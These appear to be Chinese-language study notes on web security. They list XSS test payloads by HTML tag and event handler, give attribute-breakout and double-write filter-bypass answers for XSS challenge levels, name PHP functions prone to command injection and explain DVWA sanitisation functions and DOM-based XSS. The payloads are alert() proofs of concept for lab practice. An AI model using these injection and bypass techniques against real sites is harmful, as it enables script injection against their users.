验证xss的标签
1 script标签 <script>alert(1)</script>
2 iframe标签 将一个HTML文档嵌入在一个HTML中显示 <Iframe src="URL"></iframe>
<iframe οnlοad=alert('xss')></iframe>
3 a标签 <a href="javascript:alert(document.domain)">5</a >
<a href="https://www.baidu.com/">百度一下</a>
4 body标签 <body οnlοad=alert(1)>
5 <button>标签 元素上点击鼠标时触发
<button οnclick="alert(1)">test</button> 在test上点击鼠标触发
6 p标签 <p οnmοusedοwn=alert(1)>test</p> 在test上按下鼠标触发
<p οnmοuseup=alert(1)>test</p> 在test上释放鼠标触发
xss challenges "><script>alert(document.domain)</script><
第6关 <和>符号被转移 "οnclick=alert(document.domain)或者”οnmοuseοver=”alert(document.domain)
第十关 domain被过滤 采用双写
php常见的可能存在命令注入的函数
shell_exec 通过shell环境执行命令,并且将完整的输出以字符串的方式返回。
eval( ) 用于对一个字符串以PHP语句方式解析运行
phpinfo( ) phpinfo( )会输出有关PHP信息的页面——运行的版本号,配置信息等等
call_user_func() 调用其他函数的功能,其中的一个参数作为要调用的函数名
dvwa漏洞代码分析
预定义字符包括“\0”,“t”,“\n”,“\x0B”,“\r”,“ ”
mysqli_real_escape_string(connection,escapestring)
connection:要连接的MySQL数据库
escapestring:要转义的字符串 x00,n,r,,’,”,x1a
stripslashes() 删除字符串中的反斜杠。
str_replace 替换
strip_tags() 函数 剥去字符串中的HTML、XML以及PHP的标签。
htmlspecialchars()函数 将()中的预定义字符转换成html实体。
preg_replace 使用正则表达式将字符都过滤
DOM型XSS
DOM是一个树状的模型,js可以对树中的文档对象进行修改,而改变页面的元素,dom型xss就是通过函数获取到输入的值,然后拼接到代码中,如果包含恶意代码,则当js代码执行去改变页面元素的时候会导致恶意代码被执行,从而发生xss。